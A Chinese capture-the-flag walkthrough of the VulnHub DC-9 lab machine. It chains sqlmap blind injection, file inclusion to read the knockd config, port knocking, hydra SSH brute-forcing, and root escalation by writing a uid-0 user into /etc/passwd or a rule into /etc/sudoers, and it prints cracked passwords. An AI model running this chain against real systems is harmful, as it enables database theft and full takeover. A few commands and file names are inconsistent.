前言:
打了这么长时间,终于,DC系列1-9 靶机已经干完了。通过这九个靶机的历练,都是单靶机 感觉远远不足,但也不是没有收获,学到了一些工具和提权的简单利用,大概知道了什么是反弹shell,什么是提权。对linux里一些文件信息也清楚了一些。windows以及内网的一些靶机还没有搭过对应靶场进行训练,后续打算向这些方向去学习一下,同时再巩固刷一下近期CTF里的一些题目 keep on💪💪
下载链接:DC: 9 ~ VulnHub
知识点:
- sqlmap post跑盲注
- hydra爆破
- 添加root权限组用户提权/写入/etc/sudoers提权
目录
<1> 信息搜集
(1) sqlmap跑出admin密码
(2) 端口敲门
<2> hydra爆破ssh登录
<3> Privilege Escalation(提权)
方法一:写入/etc/passwd 添加root权限组用户提权
方法二:写入/etc/sudoers令fredf获得(root)ALL权限
<1> 信息搜集
扫一下靶机的ip
nmap -sP 192.168.236.0/24 扫描一下靶机ip (arp-scan-l快一点)
靶机ip: 192.168.236.139
nmap -A -p 1-65535 192.168.236.139 扫描一下靶机开放哪些服务 (也可以先masscan看看开了什么端口,然后对特定端口去扫描一下)
扫到了22端口 ssh服务,但是状态是 filtered 开放了80端口 http服务
(1) sqlmap跑出admin密码
访问http服务,发现result.php存在sql注入, Mary'#会正常返回 字符型注入
可以利用bool盲注,爆破表名字段名 这里直接用sqlmap去跑一下
sqlmap -u "http://192.168.236.139/results.php" --method POST --data "search=Mary" --batch --dbs
查看users数据库里都有什么
sqlmap -u "http://192.168.236.139/results.php" --method POST --data "search=Mary" --batch -D users --tables
只有一个UserDetails表 看看表里内容 dump出来
sqlmap -u "http://192.168.236.139/results.php" --method POST --data "search=Mary" --batch -D users -T UserDetails --dump
得到了一些用户的账号和密码。
同理跑一下Staff库里内容,有一个Users表应该是有用的,没用的就不放出来了
sqlmap -u "http://192.168.236.139/results.php" --method POST --data "search=Mary" --batch -D Staff -T Users --dump
应该是一串 MD5 拿去somd5解密一下 得到:transorbital1
回到页面 manage处登录一下admin,成功登录
看见下面一个 File does not exist 难道哪里用到了include函数吗?是不是存在LFI漏洞
测试 ?file=../../../../etc/passwd 确实存在
(2) 端口敲门
22端口是filter状态,有过滤。到这里不知道怎么办了,查看其他人文章得知,考察了 端口敲门
靶机使用了Knockd
进行防护,们只要通过顺序敲击端口,防火墙才会打开被隐藏端口.
原理:
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
即 知道它的自定义一系列端口后,依次对其进行敲门,然后就可以开启ssh服务从而进行连接了。它的默认配置文件为:/etc/knockd.conf
我们利用刚刚测试存在的LFI漏洞,去包含一下knockd服务的配置文件 获得自定义的端口
openSSH的一系列序列号为:7469,8475,9842
apt install knockd
knock 192.168.236.139 7469,8475,9842
nmap -p 22 192.168.236.139 再查看以下 20端口ssh开放情况 变为open
<2> hydra爆破ssh登录
这里我们利用之前sqlmap爆破出来的 账号密码,分别写入user.txt pass.txt,hydra爆破一下ssh登录
hydra -L user.txt -P pass.txt 192.168.236.139 ssh
爆破出来三个:
login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee
chandlerb,joeyt没什么东西,在janitor用户下,发现了 .secrets-for-putin 里面有password文件
可能是其他用户的一些密码,我们再生成一个密码文件,爆破一下
得到新的用户 fredf 的密码B4-Tru3-001
<3> Privilege Escalation(提权)
登录fredf之后,sudo -l 发现fredf可以以root身份,无需密码执行 /opt/devstuff/dist/test/test程序
找找test.py在哪:
find / -name "test.py" 2>/dev/null
/opt/devstuff/test.py
test.py在/opt/devstuff下,我们去看一下这个程序
python脚本,执行的是一个,读写的操作。
方法一:写入/etc/passwd 添加root权限组用户提权
既然拥有root权限,我们可以用openssl工具构造一个拥有root权限的用户,写入到/etc/passwd文件中,登录此用户,从而得到root
回到kali使用openssl工具先生成一个本地的加密用户的信息:
openssl passwd -1 -salt admin 111111
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密,默认选项 加点盐:
不能有奇怪的符号,/ \ . 等
回到靶机中,echo命令写入到/tmp目录下文件a中
echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/a 密码111111
sudo ./admin /tmp/a /etc/passwd
su admin
或者:
echo "1vxyz:sXuCKi7k3Xh/s:0:0::/root:/bin/bash" > /tmp/a 这个密码为toor
sudo ./admin /tmp/a /etc/passwd
su 1vxyz
但是不知道为什么写入免密的 root 权限用户不行。 1vxyz::0:0:::/bin/bash
方法二:写入/etc/sudoers令fredf获得(root)ALL权限
echo "fredf ALL=(root) ALL" > /tmp/a
sudo ./test /tmp/a /etc/sudoers
sudo su 输入fredf的密码 拿到root权限 得到flag